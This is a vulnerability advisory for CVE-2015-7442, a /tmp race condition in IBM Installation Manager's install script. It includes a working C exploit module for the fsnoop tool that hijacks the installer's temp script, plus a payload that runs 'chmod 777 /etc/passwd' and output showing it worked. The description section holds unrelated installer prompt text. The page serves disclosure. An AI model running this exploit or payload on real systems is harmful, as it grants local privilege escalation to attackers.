The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2015-10-29
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

/tmp race condition in IBM Installation Manager v1.8.1 install script

#904 · 2015-10-29
CVE ID(s): CVE-2015-7442
Notified: 2015-11-19
Description:
IBM Installation Manager is a command line utility to install various software packages developed by IBM.

=====> IBM Installation Manager> Password required

Credentials are required to connect to the IBM download site. Enter IBM ID and password.

Select:
     P. Provide credentials and connect
     C. Cancel

Select 'P' to enter credentials and connect, or 'C' to cancel.

  Forgot your IBM ID?
    https://www.ibm.com/account/profile?page=forgotuid
  Forgot your password?
    https://www.ibm.com/account/profile?page=forgot
  IBM ID help and FAQ
    https://www.ibm.com/account/profile/us/en?page=regfaqhelp
-----> C
Exploit:
/*
fsnoop v3.3 module for exploitation of: 
http://www.vapidlabs.com/advisory.php?v=156
special thanks to v14dz for getting this working, and Mudge @dotmudge for pointing me
at his /tmp race condition tool l0pht-watch.

@v14dz
http://vladz.devzero.fr/

$ make ibm-console.so

/tmp/x is :

#!/bin/sh
chmod 777 /etc/passwd

$ ./fsnoop -p ibm-consoleinst.so 
[+] ./ibm-consoleinst.so: ** IBM Console Install Exploit **
[+] ./ibm-consoleinst.so: payload=[0xb77775fb] file=[/tmp/consoleinst-HEREPID.sh]
[+] ./ibm-consoleinst.so: waiting for command: "/bin/sh ./consoleinst.sh"
[+] ./ibm-consoleinst.so: Exploitation done.
[+] ./ibm-consoleinst.so: Unloading module.

ls -l /etc/passwd
-rwxrwxrwx 1 root root 1901 Nov 22  2014 /etc/passwd

*/



#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char title[] = "** IBM Console Install Exploit **";

/* filters */
char proc_name[] = "/bin/sh ./consoleinst.sh";
char file[]      = "/tmp/consoleinst-HEREPID.sh";

/* Evil routines */
void payload() { 
  int fd;
/*from v14dz: I use a fifo here, to unlock the paymod execution right after the cp command*/
  mkfifo(file, 0666);
  fd = open(file, O_RDONLY);
  rename(file, "/tmp/a");
  rename("/tmp/x", file);
}